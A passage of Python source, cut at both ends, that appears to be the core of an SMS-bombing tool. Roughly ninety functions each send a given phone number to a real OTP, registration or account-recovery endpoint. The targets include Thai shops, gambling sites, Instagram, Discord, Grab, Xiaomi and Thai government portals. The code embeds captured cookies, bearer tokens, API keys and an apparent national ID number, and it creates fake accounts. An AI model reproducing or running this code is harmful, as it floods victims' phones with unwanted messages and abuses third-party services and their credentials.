get(f"https://asv-mobileapp-prod.azurewebsites.net/api/Signin/SendOTP?phoneNo={phone}&type=Register") def api10(phone): post("https://m.lavagame168.com/api/register-otp",headers={"x-exp-signature": "5ffc0caa4d603200124e4eb1","user-agent": "Mozilla/5.0 (Linux; Android 10; Redmi 8A) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.85 Mobile Safari/537.36","referer": "https://m.lavagame168.com/dashboard/login"},json={"brands_id":"5ffc0caa4d603200124e4eb1","agent_register":"5ffc0d5cdcd4f30012aec3d9","tel": phone}) def api11(phone): get("https://m.redbus.id/api/getOtp?number="+phone[1:]+"&cc=66&whatsAppOpted=true",headers={"traceparent": "00-7d1f9d70ec75d3fb488d8eb2168f2731-6b243a298da767e5-01","user-agent": "Mozilla/5.0 (Linux; Android 10; Redmi 8A) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.85 Mobile Safari/537.36"}).text def api12(phone): post("https://api.myfave.com/api/fave/v3/auth",headers={"client_id": "dd7a668f74f1479aad9a653412248b62"},json={"phone":"66"+phone}) def api13(phone): post("https://samartbet.com/api/request/otp", data={"phoneNumber":phone,"token":"HFbWhpfhFIGSMVWlhcQ0JNQgAtJ3g3QT43FRpzKhsvGhoHEzo6C1sjaRh1dSxgfEt_URwOHgwabwwWKXgodXd9IBBtZShlPx9rQUNiek5tYDtfB3swTC4KUlVRX0cFWVkNElhjPXVzb3NWBSpvVzofb1ZFLi15c2YrTltsL0FpGSMVGQ9rCRsacxJcemxjajdoch8sfEhoWVlvbVEsQ0tWfhgfOGth"}) def api14(phone): post("https://www.msport1688.com/auth/send_otp", data={"phone":phone}) def api15(phone): post("http://b226.com/x/code", data={f"phone":phone}) def api16(phone): post("https://ep789bet.net/auth/send_otp", data={"phone":phone}) def api17(phone): post("https://www.berlnw.com/reservelogin",data={"p_myreserve": phone}, headers={"Host": "www.berlnw.com", "Connection": "keep-alive", "Upgrade-Insecure-Requests": "1", "Content-Type": "application/x-www-form-urlencoded", "Save-Data": "on", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9", "Referer": "https://www.berlnw.com/myaccount", "Accept-Encoding": "gzip, deflate, br", "Accept-Language": "th-TH,th;q=0.9,en;q=0.8", "Cookie": "berlnw=s%3AaKEA2ULex-QQ7U6jr0WCQGs-Mz3eJFJn.RsAXcleV2EVFN4j%2BPqDivbqSYAta0UYtyoM65BrxuV0; _referrer_og=https%3A%2F%2Fwww.google.com%2F; _first_pageview=1; _jsuid=4035440860; _ga=GA1.2.766623232.1635154743; _gid=GA1.2.1857466267.1635154743; _gac_UA-90695720-1=1.1635154743.CjwKCAjwq9mLBhB2EiwAuYdMtU_gp7mSvFcH4kByOTGf-LsmLTGujv9qCwMi1xwWSuEiQSOlODmN-RoCMu4QAvD_BwE; _fbp=fb.1.1635154742776.771793600; _gat_gtag_UA_90695720_1=1"}) def api18(phone): post("https://the1web-api.the1.co.th/api/t1p/regis/requestOTP", json={"on":{"value":phone,"country":"66"},"type":"mobile"}) def api19(phone): post(f"http://m.vcanbuy.com/gateway/msg/send_regist_sms_captcha?mobile=66-{phone}") def api20(phone): post("https://shop.foodland.co.th/login/generation", data={"phone": phone}) def api21(phone): post("https://jdbaa.com/api/otp-not-captcha", data={"phone_number":phone}) def api22(phone): post("https://unacademy.com/api/v3/user/user_check/",json={"phone":phone,"country_code":"TH"},headers={}).json() def api23(phone): post("https://shoponline.ondemand.in.th/OtpVerification/VerifyOTP/SendOtp", data={"phone": phone}) def api24(phone): post("https://ocs-prod-api.makroclick.com/next-ocs-member/user/register",json={"username": phone,"password":"6302814184624az","name":"0903281894","provinceCode":"28","districtCode":"393","subdistrictCode":"3494","zipcode":"40260","siebelCustomerTypeId":"710","acceptTermAndCondition":"true","hasSeenConsent":"false","locale":"th_TH"}) def api25(phone): post("https://store.boots.co.th/api/v1/guest/register/otp",json={"phone_number": phone}) def api26(phone): post("https://www.instagram.com/accounts/account_recovery_send_ajax/",data=f"email_or_username={phone}&recaptcha_challenge_field=",headers={"Content-Type":"application/x-www-form-urlencoded","X-Requested-With":"XMLHttpRequest","User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.116 Safari/537.36","x-csrftoken": "EKIzZefCrMss0ypkr2VjEWZ1I7uvJ9BD"}).json def api27(phone): post("https://th.kerryexpress.com/website-api/api/OTP/v1/RequestOTP/"+phone) def api28(phone): post("https://api.scg-id.com/api/otp/send_otp", headers={"Content-Type": "application/json;charset=UTF-8"},json={"phone_no": phone}) def api29(phone): post("https://partner-api.grab.com/grabid/v1/oauth2/otp", json={"client_id":"4ddf78ade8324462988fec5bfc5874c2","transaction_ctx":"null","country_code":"TH","method":"SMS","num_digits":"6","scope":"openid profile.read foodweb.order foodweb.rewards foodweb.get_enterprise_profile","phone_number": phone},headers={}) def api30(phone): post("https://www.konvy.com/ajax/system.php?type=reg&action=get_phone_code", data={"phone": phone}) def api31(phone): post("https://ecomapi.eveandboy.com/v10/user/signup/phone", data={"phone": phone,"password":"123456789Az"}) def api32(phone): post("https://cognito-idp.ap-southeast-1.amazonaws.com/",headers={"user-agent": "Mozilla/5.0 (Linux; Android 10; Redmi 8A) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.85 Mobile Safari/537.36","content-type": "application/x-amz-json-1.1","x-amz-target": "AWSCognitoIdentityProviderService.SignUp","x-amz-user-agent": "aws-amplify/0.1.x js","referer": "https://www.bugaboo.tv/members/signup/phone"},json={"ClientId":"6g47av6ddfcvi06v4l186c16d6","Username":f"+66{phone[1:]}","Password":"098098Az","UserAttributes":[{"Name":"name","Value":"Dbdh"},{"Name":"birthdate","Value":"2005-01-01"},{"Name":"gender","Value":"Male"},{"Name":"phone_number","Value":f"+66{phone[1:]}"},{"Name":"custom:phone_country_code","Value":"+66"},{"Name":"custom:is_agreement","Value":"true"},{"Name":"custom:allow_consent","Value":"true"},{"Name":"custom:allow_person_info","Value":"true"}],"ValidationData":[]}) post("https://cognito-idp.ap-southeast-1.amazonaws.com/",headers={"cache-control": "max-age=0","user-agent": "Mozilla/5.0 (Linux; Android 10; Redmi 8A) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.85 Mobile Safari/537.36","content-type": "application/x-amz-json-1.1","x-amz-target": "AWSCognitoIdentityProviderService.ResendConfirmationCode","x-amz-user-agent": "aws-amplify/0.1.x js","referer": "https://www.bugaboo.tv/members/resetpass/phone"},json={"ClientId":"6g47av6ddfcvi06v4l186c16d6","Username":f"+66{phone[1:]}"}) def api33(phone): get(f"https://laopun.com/send-sms?id={phone}&otp=5153",headers=header) def api34(phone): post("https://jdbaa.com/api/otp-not-captcha", data={"phone_number":phone}) def api35(phone): post("https://www.carsome.co.th/website/login/sendSMS", headers=header, json={"username":phone,"optType":0}).json() def api36(phone): post("https://nocnoc.com/authentication-service/user/OTP?b-uid=1.0.684",headers=header,json={"lang":"th","userType":"BUYER","locale":"th","orgIdfier":"scg","phone":phone,"type":"signup","otpTemplate":"buyer_signup_otp_message","userParams":{"buyerName":"ฟงฟง ฟงฟว"}}) def api37(phone): post("https://u.icq.net/api/v65/rapi/auth/sendCode", json={"reqId":"39816-1633012470","params":{"phone": phone,"language":"en-US","route":"sms","devId":"ic1rtwz1s1Hj1O0r","application":"icq"}}) def api38(phone): post("https://api.1112delivery.com/api/v1/otp/create", data={'phonenumber': phone,'language': "th"}) def api39(phone): post("https://gccircularlivingshop.com/sms/sendOtp", json={"grant_type":"otp","username": phone,"password":"","client":"ecommerce"},headers={}) def api40(phone): headers={ "organizationcode": "lifestyle", "content-type": "application/json" } json = {"operationName":"sendOtp","variables":{"input":{"mobileNumber": phone,"phoneCode":"THA-66"}},"query":"mutation sendOtp($input: SendOTPInput!) {\n sendOTPRegister(input: $input) {\n token\n otpReference\n expirationOn\n __typename\n }\n}\n"} post("https://graph.firster.com/graphql",headers=headers,json=json) def api41(phone): post("https://m.riches666.com/api/register-otp", data={"brands_id":"60a6563a232a600012521982","agent_register":"60a76a7f233d2900110070e0","tel":phone}) def api42(phone): post("https://www.pruksa.com/member/member_otp/re_create",headers=header,data=f"required=otp&mobile={phone}") def api43(phone): post("https://vaccine.trueid.net/vacc-verify/api/getotp",headers=header,json={"msisdn":phone,"function":"enroll"}) def api44(phone): post("https://ufa108.ufabetcash.com/api/",headers=header,data=f"cmd=request_form_register_detail_check&web_account_id=36&auto_bank_group_id=1&m_name=sl&m_surname=ak&m_line=snsb1j&m_bank=4&m_account_number=8572178402&m_from=41&m_phone={phone}") def api45(phone): post("https://www.mrcash.top/h5/LoginMessage_ultimate",data = {"phone": phone,"type":"2","ctype":"1"}) def api46(phone): post("https://www.qqmoney.ltd/jackey/sms/login",json = {"appId":"5fc9ff297eb51f1196350635","companyId":"5fc9ff12197278da22aff029","mobile": phone},headers={"Content-Type": "application/json;charset=UTF-8"}) def api47(phone): post("https://www.monomax.me/api/v2/signup/telno",json ={"password":"12345678+","telno": phone}) def api48(phone): post("https://m.pgwin168.com/api/register-otp",json ={"brands_id":"60e4016f35119800184f34a5","agent_register":"60e57c3b2ead950012fc5fba","tel": phone}) def api49(phone): post("https://www.som777.com/api/otp/register",json ={"applicant": phone,"serviceName":"SOM777"}) def api50(phone): post("https://www.konglor888.com/api/otp/register",json = {"applicant": phone,"serviceName":"KONGLOR888"}) def api51(phone): get("https://api.quickcash8.com/v1/login/captcha?timestamp=1636359633&sign=3a11b88fbf58615099d15639e714afcc&token=&version=2.3.2&appsFlyerId=1636346593405-2457389151564256014&platform=android&channel_str=&phone="+phone+"&img_code=", headers = {"Host": "api.quickcash8.com", "Connection": "Keep-Alive", "Accept": "gzip", "User-Agent": "okhttp/3.11.0"}) def api52(phone): get("https://users.cars24.co.th/oauth/consumer-app/otp/"+phone+"?lang=th", headers = {"accept": "application/json, text/plain, */*","x_vehicle_type":"CAR","cookie":"_ga=GA1.3.523508414.1640152799;_gid=GA1.3.999851247.1640152799;_fbp=fb.2.1640152801502.837786780;_gac_UA-65843992-28=1.1640152807.EAIaIQobChMIi9jVo9329AIVizArCh1bFAuMEAAYASAAEgJqA_D_BwE;_dc_gtm_UA-65843992-28=1;_hjSessionUser_2738441=eyJpZCI6IjYwMjMzZjYyLTFlMzYtNWZmMy04MjZkLTMzOTAxNTMwODQ4NyIsImNyZWF0ZWQiOjE2NDAxNTI4MDEzMDYsImV4aXN0aW5nIjp0cnVlfQ==;_hjSession_2738441=eyJpZCI6ImI4MDNlNTFkLTFiYTYtNGExZi05MGIzLTk5OWRmMjhhM2RiOCIsImNyZWF0ZWQiOjE2NDAxNjY4ODgwNDF9;_hjAbsoluteSessionInProgress=0;cto_bundle=uVFzcF8lMkYxM0hsRGxQc1M4YThaRmhHJTJGRTBtSUdwNzVuRkVldzI5QlpIYktWbnZFcUlzdDZ1ZnhMT3JqVVhFQyUyQmtGUE9MTFk5akpyVnl4ekZnZlJ4UVN3WnRHdUNyJTJGWW03aVRSeWtLc2wxTjA3QmR0THNzcjNsJTJCcEJHSXlOUzNxTVc2ZmJPaGclMkZhRUhkV3I2cTI1dXUlMkZhYnl1dyUzRCUzRA"}) def api53(phone): post("https://www.kaitorasap.co.th/api/index.php/send-otp/", data = {"phone_number": phone,"lag": " "}) def api54(phone): requests=Session() token=search('<meta name="_csrf" content="(.*)" />',get("https://www.shopat24.com/register/").text).group(1) post("https://www.shopat24.com/register/ajax/requestotp/",data=f"phoneNumber={phone}",headers={"content-type": "application/x-www-form-urlencoded; charset=UTF-8","x-csrf-token": token}) def api55(phone): session = Session() ReqTOKEN = session.get("https://srfng.ais.co.th/Lt6YyRR2Vvz%2B%2F6MNG9xQvVTU0rmMQ5snCwKRaK6rpTruhM%2BDAzuhRQ%3D%3D?redirect_uri=https%3A%2F%2Faisplay.ais.co.th%2Fportal%2Fcallback%2Ffungus%2Fany&httpGenerate=generated", headers={"User-Agent": "Mozilla/5.0 (Linux; Android 5.1.1; A37f) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.74 Mobile Safari/537.36"}).text session.post("https://srfng.ais.co.th/login/sendOneTimePW", data=f"msisdn=66{phone[1:]}&serviceId=AISPlay&accountType=all&otpChannel=sms",headers={"User-Agent": "Mozilla/5.0 (Linux; Android 5.1.1; A37f) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.74 Mobile Safari/537.36","Content-Type": "application/x-www-form-urlencoded; charset=UTF-8", "authorization": f'''Bearer {search("""<input type="hidden" id='token' value="(.*)">""", ReqTOKEN).group(1)}'''}) def api56(phone): post("https://discord.com/api/v9/users/@me/phone",headers=header,json={"phone":"+66"+phone}) def api57(phone): post("https://api-customer.lotuss.com/clubcard-bff/v1/customers/otp", data={"mobile_phone_no":phone}) def api58(phone): post("https://www.tgfone.com/signin/otp_chk_fast",headers=header,json=f"mobile={phone}&type_otp=7") def api59(phone): post("https://ufa3bb.com/account/register/sendotp",headers=header,data=f"phone={phone}") def api60(phone): post("https://login.s-momclub.com/accounts.otp.sendCode", data=f"phoneNumber=%2B66{phone[1:]}&lang=th&APIKey=3_R6NL_0KSx2Jyu7CsoDxVYau1jyOIaPzXKbwpatJ_-GZStVrCHeHNIO3L1CEKVIKC&source=showScreenSet&sdk=js_latest&authMode=cookie&pageURL=https%3A%2F%2Fwww.s-momclub.com%2Fprofile%2Flogin&sdkBuild=12563&format=json",headers={"content-type": "application/x-www-form-urlencoded","user-agent": "Mozilla/5.0 (Linux; Android 5.1.1; A37f) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.74 Mobile Safari/537.36","cookie": "gmid=gmid.ver4.AcbHriHAww._ill8qHpGNXtv9aY3XQyCvPohNww4j7EtjeiM3jBccqD7Vx0OmGeJuXcpQ2orXGs.nH0yRZjbm75C-5MVgB2Ii0PWvx6TICBn1LYI_XtlgoHg9mnouZgNs6CHULJEitOfkBhHvf8zUvrvMauanc52Sw.sc3;ucid=Tn63eeu2u8ygoINkqYBk5w;hasGmid=ver4;_ga=GA1.2.1714152564.1642328595;_fbp=fb.1.1642328611770.178002163;_gcl_au=1.1.64457176.1642329285;gig_bootstrap_3_R6NL_0KSx2Jyu7CsoDxVYau1jyOIaPzXKbwpatJ_-GZStVrCHeHNIO3L1CEKVIKC=login_ver4;_gid=GA1.2.1524201365.1642442639;_gat=1;_gat_rolloutTracker=1;_gat_globalTracker=1;_gat_UA-62402337-1=1"}) def api61(phone): post("https://globalapi.pointspot.co/papi/oauth2/signinWithPhone", data={"phoneNumber": f"+66{phone[1:]}"}) def api62(phone): get(f"https://hdmall.co.th/phone_verifications?express_sign_in=1&mobile={phone}") def api63(phone): post("https://asha168vip.com/_ajax_/request-otp", data={"request_otp[phoneNumber]":phone,"request_otp[termAndCondition]": "1","request_otp[_token]": "1642443743"}) def api64(phone): post("https://account.xiaomi.com/pass/sendPhoneRegTicket", data=f"region=US&phone=%2B66{phone[1:]}",headers={"content-type": "application/x-www-form-urlencoded; charset=UTF-8","user-agent": "Mozilla/5.0 (Linux; Android 5.1.1; A37f) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.74 Mobile Safari/537.36","cookie": "captchaToken=mXYXs+xvEHAZdhKnXK1XlopRcisSn05D6xhZU+uL3ghvh1Yf/4rYTExH+2xl+yZv;deviceId=wb_aca09552-fd37-4204-9d7a-20045de5c5bf;uLocale=en"}) def api65(phone): post("https://gamingnation.dtac.co.th/api/otp/generate", data={"template":"register","phone_no":phone},headers={"User-Agent": "Mozilla/5.0 (Linux; Android 5.1.1; A37f) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.74 Mobile Safari/537.36"}) def api66(phone): post("https://www.aurora.co.th/signin/otp_chk", data=f"mobile={phone}&type_otp=3",headers={"Content-Type": "application/x-www-form-urlencoded; charset=UTF-8"}) def api67(phone): get(f"https://api.joox.com/web-fcgi-bin/web_account_manager?optype=5&os_type=2&country_code=66&phone_number=66{phone[1:]}&time=1641777424446&_=1641777424449&callback=axiosJsonpCallback2") def api68(phone): post("http://716081.com/wap/user/sendPhoneMsg", json={"uri":"/user/sendPhoneMsg","token":"","paramData":{"phoneVerifyType":0,"phoneNumber":f"66{phone[1:]}","siteCode":"intqa"}}).text def api69(phone): post("https://login.928royal.com/api/APISendOTP.php", data=f"mobileNumber=0{phone}",headers={"content-type": "application/x-www-form-urlencoded; charset=UTF-8"}) def api70(phone): post("https://prettygaming168-api.auto888.cloud/api/v3/otp/send", data={"tel":phone,"otp_type":"register"},headers={"user-agent": "Mozilla/5.0 (Linux; Android 5.1.1; A37f) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.74 Mobile Safari/537.36","authorization": "Basic 755b4608e637d413d668502704d93e377f4f67b2d3d0f50e5644af3607f31ddb3174ecaf5b2c40c86f9efc32de1ee0bbf3e7a2b32cb055a3cb7068e1bb152844"}) def api71(phone): post("https://www.bigthailand.com/authentication-service/user/OTP", json={"locale":"th","phone": f"+66{phone[1:]}","email":"dkdk@gmail.com","userParams":{"buyerName":"ekek ks","activateLink":"www.google.com"}},headers={"content-type": "application/json","user-agent": "Mozilla/5.0 (Linux; Android 5.1.1; A37f) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.74 Mobile Safari/537.36","authorization": "Bearer eyJ0eXAiOiJKV1QiLCJlbmMiOiJBMTI4Q0JDLUhTMjU2IiwiYWxnIjoiZGlyIn0..P9LOZOUnXvgw5wDxPqSuCg.jjRU6v4iidkFNv4nROigeng1s9e96LnzplOaml7YSasaTxwozO37IWuq-h6bV5JyxpaRvIL9UCochw-3OciWq_VrORNwnH45b-ziIAhZ-CpLpt1O_4EpM27y7TYXBb_w6DT3BJp1ARkG7CqSouTnGg.2n1G9HbFJzArFH5Rr2m9kg","cookie": "auth.strategy=local;auth._token.local=Bearer%20eyJ0eXAiOiJKV1QiLCJlbmMiOiJBMTI4Q0JDLUhTMjU2IiwiYWxnIjoiZGlyIn0..P9LOZOUnXvgw5wDxPqSuCg.jjRU6v4iidkFNv4nROigeng1s9e96LnzplOaml7YSasaTxwozO37IWuq-h6bV5JyxpaRvIL9UCochw-3OciWq_VrORNwnH45b-ziIAhZ-CpLpt1O_4EpM27y7TYXBb_w6DT3BJp1ARkG7CqSouTnGg.2n1G9HbFJzArFH5Rr2m9kg;_utm_objs=eyJzb3VyY2UiOiJnb29nbGUiLCJtZWRpdW0iOiJjcGMiLCJjYW1wYWlnbiI6ImFkd29yZHMiLCJj%0D%0Ab250ZW50IjoiYWR3b3JkcyIsInRlcm0iOiJhZHdvcmRzIiwidHlwZSI6InJlZmVycmVyIiwidGlt%0D%0AZSI6MTY0MjMyOTM5OTU4NSwiY2hlY2tzdW0iOiJaMjl2WjJ4bExXTndZeTFoWkhkdmNtUnpMVEUy%0D%0ATkRJek1qa3pPVGsxT0RVPSJ9;_pk_ref.564990563.2c0e=%5B%22%22%2C%22%22%2C1642329400%2C%22https%3A%2F%2Fwww.google.com%2F%22%5D;_pk_ses.564990563.2c0e=*;_gcl_au=1.1.833577636.1642329400;_asm_visitor_type=n;_ac_au_gt=1642329406505;cdp_session=1;_asm_uid=637506384;_ga=GA1.2.1026893832.1642329403;_gid=GA1.2.1437369318.1642329403;OptanonConsent=isIABGlobal=false&datestamp=Sun+Jan+16+2022+17%3A36%3A45+GMT%2B0700+(%E0%B9%80%E0%B8%A7%E0%B8%A5%E0%B8%B2%E0%B8%AD%E0%B8%B4%E0%B8%99%E0%B9%82%E0%B8%94%E0%B8%88%E0%B8%B5%E0%B8%99)&version=6.9.0&hosts=&consentId=e0fe7ec6-3c1e-4aa7-9e72-ecd2ed724416&interactionCount=0&landingPath=https%3A%2F%2Fwww.bigthailand.com%2Fcategory%2F850%2F%25E0%25B8%2599%25E0%25B9%2589%25E0%25B8%25B3%25E0%25B8%25A1%25E0%25B8%25B1%25E0%25B8%2599%25E0%25B9%2580%25E0%25B8%2584%25E0%25B8%25A3%25E0%25B8%25B7%25E0%25B9%2588%25E0%25B8%25AD%25E0%25B8%2587%25E0%25B9%2581%25E0%25B8%25A5%25E0%25B8%25B0%25E0%25B8%2582%25E0%25B8%25AD%25E0%25B8%2587%25E0%25B9%2580%25E0%25B8%25AB%25E0%25B8%25A5%25E0%25B8%25A7%2F%25E0%25B8%2599%25E0%25B9%2589%25E0%25B8%25B3%25E0%25B8%25A1%25E0%25B8%25B1%25E0%25B8%2599%25E0%25B9%2580%25E0%25B8%2584%25E0%25B8%25A3%25E0%25B8%25B7%25E0%25B9%2588%25E0%25B8%25AD%25E0%25B8%2587%3Fgclid%3DCj0KCQiAoY-PBhCNARIsABcz772kcpD38d5bhec3kfJbZgVxKFVwa2RmZytANH-PiwJdPXbqc7VOzCEaAuBkEALw_wcB&groups=C0001%3A1%2CC0003%3A1%2CC0002%3A1%2CC0007%3A1;_fbp=fb.1.1642329406623.363807498;_hjSessionUser_2738378=eyJpZCI6ImVkNmZhOGY3LTQwNDctNTNjMi04YTVjLTQ0OGE5MDA4YjhiZCIsImNyZWF0ZWQiOjE2NDIzMjk0MDQ4MDMsImV4aXN0aW5nIjpmYWxzZX0=;_hjFirstSeen=1;_hjIncludedInSessionSample=0;_hjSession_2738378=eyJpZCI6ImNhN2UwZDFhLTZkNmQtNGM0Mi04YmI1LTg4NWJmNzZjMGExZCIsImNyZWF0ZWQiOjE2NDIzMjk0MTEwNzcsImluU2FtcGxlIjpmYWxzZX0=;_hjIncludedInPageviewSample=1;_hjAbsoluteSessionInProgress=0;_gac_UA-165856282-1=1.1642329477.Cj0KCQiAoY-PBhCNARIsABcz772kcpD38d5bhec3kfJbZgVxKFVwa2RmZytANH-PiwJdPXbqc7VOzCEaAuBkEALw_wcB;_gcl_aw=GCL.1642329478.Cj0KCQiAoY-PBhCNARIsABcz772kcpD38d5bhec3kfJbZgVxKFVwa2RmZytANH-PiwJdPXbqc7VOzCEaAuBkEALw_wcB;_pk_id.564990563.2c0e=0.1642329400.1.1642329489.1642329400.;_ac_client_id=637515726.1642329496;_ac_an_session=zmzlzhzlzizqzmzjzkzjzdzlzgzkzmzizmzkzhzlzdzizlznzhzgzhzqznzqzlzdzizdzizlznzhzgzhzqznzqzlzdzizlznzhzgzhzqznzqzlzdzizdzgzjzizdzjzd2h25zdzgzdzezizd;au_id=637515726;_ga_80VN88PBVD=GS1.1.1642329399.1.1.1642329493.44"}) def api72(phone): post("https://api.cashmarket-th.com/app/userinfo/send/smsCode", json={"baseParams":{"platformId":"android","deviceType":"h5","deviceIdKh":"20220118121149smyjjs57jxtqbwkuu74y0vd6p5yzhrmp86872f73364d46d3bf9446ddd583ef61ee8fafe504bab46ec267ca96a99281d6rreqhrlgsg4p3srgv1i5s4pp8u9la6gf1","termSysVersion":"5.1.1","termModel":"A37f","brand":"","termId":"null","appType":"6","appVersion":"2.0.0","pValue":"","position":{"lon":"null","lat":"null"},"bizType":"0000","appName":"Cash Market","packageName":"com.cashmarketth.h5","screenResolution":"720,1280"},"clientTypeFlag":"h5","token":"","phoneNumber":"","timestamp":"1642479101529","bizParams":{"phoneNum":phone,"code":"null","type":200,"channelCode":"hJ071"}}) def api73(phone): post("https://bacara888.com/api/otp/register",data={"applicant":phone,"serviceName":"gclub"}) def api74(phone): post("https://www.tslpv.net/api/v1/sendRegisterSms", data={"national_number":phone,"country_code":"TH","g_token":"null"}) def api75(phone): post("https://queenclub88.com/api/register/phone", data={"phone":phone}) def api76(phone): post("https://api.cdfoi9.com/api/v1/index.php", data=f"module=%2Fusers%2FgetVerificationCode&mobile={phone}&merchantId=111&domainId=0&accessId=&accessToken=&walletIsAdmin=",headers={"user-agent": "Mozilla/5.0 (Linux; Android 5.1.1; A37f) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.74 Mobile Safari/537.36","content-type": "application/x-www-form-urlencoded"}) def api77(phone): get(f"https://api.joox.com/web-fcgi-bin/web_account_manager?optype=5&os_type=2&country_code=66&phone_number=0{phone}&time=1641777424446&_=1641777424449&callback=axiosJsonpCallback2") def api79(phone): send = Session() send.headers.update({"User-Agent" : "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36 Edg/95.0.1020.38","Content-Type" : "application/x-www-form-urlencoded","Accept" : "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9"}) snd = send.post("https://ok.ru/dk?cmd=AnonymRegistrationEnterPhone&st.cmd=anonymRegistrationEnterPhone",data=f"st.r.phone=+66{phone[1:]}") sed = send.post("https://ok.ru/dk?cmd=AnonymRegistrationAcceptCallUI&st.cmd=anonymRegistrationAcceptCallUI",data="st.r.fieldAcceptCallUIButton=Call") def api80(phone): get(f"https://findclone.ru/register?phone=+66{phone[1:]}",headers={"X-Requested-With" : "XMLHttpRequest","User-Agent" : "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.116 Safari/537.36"}).json() def api88(phone): post("https://globalapi.pointspot.co/papi/oauth2/signinWithPhone", data={"phoneNumber": phone}) def api89(phone): # QCLOUD post("https://api.cashmarket-th.com/app/userinfo/send/smsCode", json={"baseParams":{"platformId":"android","deviceType":"h5","deviceIdKh":"20220118121149smyjjs57jxtqbwkuu74y0vd6p5yzhrmp86872f73364d46d3bf9446ddd583ef61ee8fafe504bab46ec267ca96a99281d6rreqhrlgsg4p3srgv1i5s4pp8u9la6gf1","termSysVersion":"5.1.1","termModel":"A37f","brand":"","termId":"null","appType":"6","appVersion":"2.0.0","pValue":"","position":{"lon":"null","lat":"null"},"bizType":"0000","appName":"Cash Market","packageName":"com.cashmarketth.h5","screenResolution":"720,1280"},"clientTypeFlag":"h5","token":"","phoneNumber":"","timestamp":"1642479101529","bizParams":{"phoneNum": phone,"code":"null","type":200,"channelCode":"hJ071"}}) def api90(phone): post("https://shopgenix.com/api/sms/otp/",headers=header,data=f"mobile_country_id=1&mobile={phone}") # SME-GP def api91(phone): post("https://api.thaisme.one/smegp/register/request-otp",json={"MOBILE":phone}) #YOUROTP def api92(phone): post("https://apiv3.slot999ss.com/front/api/register/set/OTP",data=f"phone={phone}",headers={"content-type": "application/x-www-form-urlencoded;charset=UTF-8","user-agent": "Mozilla/5.0 (Linux; Android 5.1.1; A37f) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.74 Mobile Safari/537.36"}) #Sabuy-Ebuy def api93(phone): post("https://sabuyebuy.com/wp-json/api/v1/get-otp",headers=header,json={"msisdn":f"{phone}"}) #FAST-PLUS. def api94(phone): post("https://prettygaming168-api.auto888.cloud/api/v3/otp/send", data={"tel":phone,"otp_type":"register"},headers={"user-agent": "Mozilla/5.0 (Linux; Android 5.1.1; A37f) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.74 Mobile Safari/537.36","authorization": "Basic 755b4608e637d413d668502704d93e377f4f67b2d3d0f50e5644af3607f31ddb3174ecaf5b2c40c86f9efc32de1ee0bbf3e7a2b32cb055a3cb7068e1bb152844"}) #Zilingo def api95(phone): post("https://id.zilingo.com/api/v1/userVerification/initiate?up_s=B2B_ASIA_MALL&up_cd=v1_eyJjbGllbnRVc2VySWRlbnRpZmljYXRpb24iOnsiYW5vbnltb3VzVXNlcklkT3B0IjoiQUlENTUwMDY3MTIzMjA0NTY2MDkyIiwic2Vzc2lvbklkT3B0IjoiU0lENTUwMDY3MTIzMjA0NTY2MDkyIiwidXNlcklkT3B0IjpudWxsfSwic2NyZWVuT3B0Ijp7InNjcmVlblR5cGUiOiJDQVRFR09SWSIsInNjcmVlbklkIjoiV0NMIiwic2NvcGUiOm51bGx9LCJidXllclJlZ2lvbk9wdCI6IkIyQl9USEEiLCJsb2NhbGVDb2RlIjoidGgiLCJxdiI6eyJjbGllbnQiOiJXZWIiLCJzdWJDbGllbnQiOiJEZXNrdG9wV2ViIiwidmVyc2lvbiI6IjM1LjguNSJ9fQ==",headers=header,json={"channelDetails":{"phoneNumber":f"+66{phone[1:]}","channelType":"SMS"},"source":"UNIFIED_LOGIN","action":"OTP_LOGIN","redirectTo":"/th-th/Women/Clothing"}) #DGA def api96(phone): post("https://accounts.egov.go.th/Citizen/Account/MobileRegisterJson",headers=header,json={"Mobile":f"{phone}","TransactionId":"f28ef0a2-23ff-4abd-b9e6-fdfc271298ea"}) def api97(phone): post("https://tdhw.treasury.go.th/TD-Vote/api/otp/request",json={"ID_CARD":"1104200197909","TEL":f"{phone}","OTP_TYPE":"OTP_TEST"}) def api98(phone): post("https://user-api.learn.co.th/authentication/sendOTP",json={"mobileNumber": phone},headers={"user-agent": "Mozilla/5.0 (Linux; Android 5.1.1; A37f) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.74 Mobile Safari/537.36","Host": "user-api.learn.co.th","content-length": "29","sec-ch-ua-mobile": "?1","content-type": "application/json;charset=UTF-8","accept": "application/json, text/plain, /","sec-ch-ua-platform": "Android","origin": "https://user.learn.co.th","sec-fetch-site": "same-site","sec-fetch-mode": "cors","sec-fetch-dest": "empty","referer": "https://user.learn.co.th/","x-api-key": "USER_API_KEY"}) #FOODDIARY def api99(phone): 